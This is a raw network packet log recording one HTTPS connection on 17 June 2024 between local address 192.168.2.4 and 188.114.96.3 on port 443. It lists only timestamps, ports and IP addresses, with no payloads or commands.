Jun 17, 2024 16:18:48.337333918 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337358952 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337385893 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337393999 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337405920 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337424040 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337435007 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337452888 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337462902 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337491035 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337512970 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337558985 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337584972 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337619066 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337630033 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337656021 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337672949 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337722063 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337740898 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337776899 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337788105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337812901 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337831974 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337872982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337892056 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337928057 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337939024 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337964058 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337982893 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.338017941 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.338036060 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.338069916 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.338079929 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.338107109 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.338123083 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.338191986 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.338210106 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.338246107 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.338257074 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.338283062 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.338303089 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340032101 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340050936 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340091944 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340102911 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340126991 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340174913 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340176105 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340184927 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340210915 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340249062 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340249062 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340265989 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340296984 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340332985 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340472937 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340521097 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340529919 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340542078 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340578079 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340581894 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340581894 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340600014 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340614080 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340631008 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340677023 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340677023 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340919018 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340939045 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.340975046 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.340986013 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341006041 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341012001 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341027975 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341028929 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341046095 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341064930 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341099024 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341182947 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341201067 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341234922 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341244936 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341272116 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341289997 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341320038 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341334105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341367960 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341378927 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341403008 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341423035 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341481924 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341515064 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341555119 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341567039 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341590881 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341617107 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341617107 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341626883 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341651917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341676950 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341689110 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341716051 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341769934 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341814041 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341835022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341876984 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341888905 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.341916084 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.341950893 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342003107 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342025042 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342061043 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342072010 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342089891 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342098951 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342117071 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342137098 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342154026 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342183113 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342184067 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342205048 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342348099 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342365980 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342406988 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342417002 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342442036 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342461109 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342482090 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342502117 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342536926 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342547894 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342567921 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342572927 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342590094 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342592955 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342602968 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342633963 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342650890 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342803955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342820883 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342855930 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342866898 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342892885 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342914104 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342919111 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342928886 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342947960 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.342979908 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.342992067 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343019962 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343045950 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343127966 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343144894 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343179941 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343192101 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343216896 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343236923 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343252897 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343283892 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343307972 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343319893 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343346119 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343367100 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343514919 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343532085 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343571901 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343581915 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343600988 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343605995 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343626022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343626022 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343637943 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343658924 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343694925 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343745947 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343765020 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343799114 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343815088 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.343841076 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.343862057 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344043970 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344063997 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344099045 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344110012 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344132900 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344151974 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344171047 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344197035 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344228983 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344239950 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344264984 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344280958 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344300985 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344336987 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344361067 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344372034 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344392061 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344398022 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344418049 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344418049 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344429970 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344444036 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344481945 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344682932 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344702959 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344738960 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344754934 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344778061 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344789028 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344794989 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344805956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344826937 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344836950 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344871044 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344887018 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344911098 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344930887 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.344980955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.344999075 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345032930 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345043898 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345067024 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345072031 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345089912 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345093966 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345104933 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345129013 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345164061 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345241070 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345256090 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345288992 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345304966 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345329046 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345345974 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345403910 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345423937 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345458984 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345469952 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345498085 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345523119 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345571041 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345591068 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345623970 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345634937 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345659971 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345675945 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345686913 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345702887 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345736027 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345772982 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345783949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345833063 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345880032 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345897913 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345931053 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345942020 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.345968962 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.345984936 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346029043 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346051931 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346088886 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346100092 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346124887 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346142054 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346191883 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346208096 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346241951 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346251965 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346283913 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346283913 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346322060 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346339941 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346369982 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346381903 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346406937 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346422911 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346493959 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346512079 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346549988 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346560955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346586943 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346626997 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346654892 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346677065 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346712112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346723080 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346750021 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346766949 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346815109 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346832991 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346865892 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346877098 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346914053 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346947908 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.346977949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.346997976 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347033978 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347049952 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347074032 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347096920 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347122908 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347140074 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347179890 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347191095 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347218037 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347240925 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347255945 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347273111 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347306013 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347316027 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347343922 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347368956 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347572088 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347589970 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347628117 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347639084 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347656965 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347670078 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347681999 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347686052 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347697020 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347714901 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347737074 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347759008 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347805023 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347821951 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347856998 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347873926 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347897053 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347917080 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.347943068 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.347961903 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.348010063 CEST	49732	443	192.168.2.4	188.114.96.3
